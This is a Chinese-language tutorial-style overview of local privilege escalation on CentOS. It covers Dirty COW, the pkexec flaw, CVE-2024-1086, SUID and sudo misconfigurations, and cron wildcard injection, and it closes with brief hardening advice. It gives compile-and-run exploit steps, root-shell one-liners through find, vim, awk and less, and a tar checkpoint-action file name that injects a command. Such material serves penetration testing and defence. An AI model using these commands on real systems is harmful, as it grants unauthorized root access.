CentOS Exploit利用技巧概述
CentOS系统中,exploit的利用需围绕漏洞原理、工具选择、权限提升路径三个核心展开,同时需遵守合法授权原则。以下是常见漏洞类型的利用技巧及关键步骤:
Dirty Cow是Linux内核**写时复制(Copy-on-Write)**机制的条件竞争漏洞,允许普通用户突破只读内存限制,获取root权限。
关键步骤:
dirtycow.c
);gcc -pthread dirtycow.c -o dirtycow -lcrypt
;./dirtycow
,按提示输入预设密码完成提权。Pkexec是setuid工具,用于允许普通用户以root身份执行命令。其漏洞源于未正确处理参数计数,导致环境变量被当作命令执行。
关键步骤:
pkexec_exp.c
);gcc pkexec_exp.c -o pkexec_exp
;./pkexec_exp
,触发pkexec执行任意命令实现提权。SUID(Set User ID)是Linux权限机制,允许用户以文件所有者身份执行文件。若SUID文件存在配置错误,可被用于提权。
常见SUID文件查找:
find / -perm -u=s -type f 2>/dev/null
或 find / -user root -perm -4000 -print
。
典型提权方法:
/usr/bin/find
具有SUID权限,执行find / -exec /bin/bash \;
可获取root shell;/usr/bin/vim
具有SUID权限,执行vim -c '!bash'
可启动root shell;/bin/bash
具有SUID权限,执行bash -p
可切换至root权限。sudo允许普通用户以root身份执行特定命令,若配置不当(如允许执行危险命令),可被用于提权。
常见高危命令:
visudo
添加user1 ALL=/usr/bin/awk
,执行sudo awk 'BEGIN {system("/bin/bash")}'
;visudo
添加user1 ALL=/usr/bin/less
,执行sudo less /etc/passwd
,输入!/bin/bash
;visudo
添加user1 ALL=/usr/bin/vim
,执行sudo vim -c '!bash'
;visudo
添加user1 ALL=/usr/bin/find
,执行sudo find /usr/bin -name ls -exec /bin/bash \;
。CVE-2024-1086是netfilter组件中的use-after-free漏洞,可导致本地提权。
关键步骤:
cve-2024-1086_exp.c
);gcc cve-2024-1086_exp.c -o cve-2024-1086_exp
;./cve-2024-1086_exp
,成功则获取root权限。cron是Linux定时任务服务,若配置错误(如可写脚本/目录、通配符注入),可被用于提权。
常见漏洞场景:
/opt/cron_test/backup.sh
由root创建但对普通用户可写,可修改脚本内容为/bin/bash
,等待cron执行;tar czf /tmp/backup.tar.gz *
,可创建名为--checkpoint-action=exec=/tmp/malicious.sh
的文件,触发命令执行。yum update
)、限制sudo权限(visudo
配置最小权限)、检查cron任务配置(避免可写目录/危险命令)、使用SELinux/AppArmor加强权限控制。